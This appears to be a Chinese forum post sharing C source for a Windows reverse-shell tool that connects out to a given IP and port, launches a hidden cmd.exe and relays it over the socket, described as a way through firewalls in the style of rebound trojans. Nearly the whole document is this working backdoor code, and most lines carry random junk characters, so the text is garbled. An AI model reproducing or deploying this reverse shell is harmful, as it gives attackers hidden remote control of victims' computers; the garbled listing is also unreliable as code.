这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |./{,",
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/* ============================== .,<w_=
Rebound port in Windows NT q0 L\{
By wind,2006/7 *>E_lWW.
===============================*/ 8,-U`.
#include K@tEL Yb
#include -S7i':
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#pragma comment(lib,"wsock32.lib") Of
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void OutputShell(); TGHyBPJb
SOCKET sClient; Af Y]i
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; U3~rtc*
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void main(int argc,char **argv) A$70!5*
{ bMB*9<c~
WSADATA stWsaData; <RuLIu
int nRet; {'sp8:$a
SOCKADDR_IN stSaiClient,stSaiServer; %\T#Ik~3
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if(argc != 3)
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{ < b-OdOg
printf("Useage:\n\rRebound DestIP DestPort\n"); |cgc^S/~H
return; {$Z
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} Tly*i"[&
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WSAStartup(MAKEWORD(2,2),&stWsaData); 17#t 7Yk
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V-dyeb
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stSaiClient.sin_family = AF_INET; HT7I~]W
stSaiClient.sin_port = htons(0); -f["1-A
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )zkr[;j~`
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @cc}[Uw4B
{ GD%qrK?
printf("Bind Socket Failed!\n"); {9vMc
return; BAojP1}+,
} ;:/C.%d
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stSaiServer.sin_family = AF_INET; Rk#p zD
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); QL:Qzr[
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %OOy90b2
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) gO#%*
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{ F},kfCFF
printf("Connect Error!"); j{YIVX
return; #J^ >7v
} ogqKM_
OutputShell(); =!u]t&yv
} gts09{"}Y
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void OutputShell() +2>, -V
{ .EZ8yJj1Q
char szBuff[1024]; ssAGWP
SECURITY_ATTRIBUTES stSecurityAttributes; /9o6R:B
OSVERSIONINFO stOsversionInfo; baGV]=j
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `jec|i@oO
STARTUPINFO stStartupInfo; u)vS,dzu
char *szShell; IZuP{7p$
PROCESS_INFORMATION stProcessInformation; +I +RNXR/{
unsigned long lBytesRead; C!Jy;Z=+u
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5xQ5)B4k
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F`>qg2wO
stSecurityAttributes.lpSecurityDescriptor = 0; x"A\Z-xxz
stSecurityAttributes.bInheritHandle = TRUE; =
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#'.
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); NR"C@3kD]o
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); xVTl
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -@Z9h)G|
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {4*5Z[
stStartupInfo.wShowWindow = SW_HIDE; ' pIC~
stStartupInfo.hStdInput = hReadPipe; {LT2^gy=
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; f# -\*
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GetVersionEx(&stOsversionInfo); 5a4i)I63o
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switch(stOsversionInfo.dwPlatformId) vhzz(UPUt
{ h+}{FB 29
case 1: =&PO_t5)z
szShell = "command.com"; hqV_MeHv'
break; @u`m6``T
default: yq!peFu
szShell = "cmd.exe"; Y=,9 M
break; Gn4XVzB`O
} 3Xy~ap>Y
r@PVSH/
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?;A\>sP
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send(sClient,szMsg,77,0); }{mS"
while(1) t"OP*
{ $ago
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); fKO@Qx]
if(lBytesRead) qDgy7kkQ
{ goND S5}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bK{ VjXF
send(sClient,szBuff,lBytesRead,0); js!C`]1
} Kd\d>&b
else X9?0`6Li
{ ilZQ/hOBH
lBytesRead=recv(sClient,szBuff,1024,0); {asq[;]
if(lBytesRead<=0) break; `l %,4qR
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {REGoe=W%
} >h.HW
} rr>6;
GC_c.|'6[
return; )~`UDaj_
}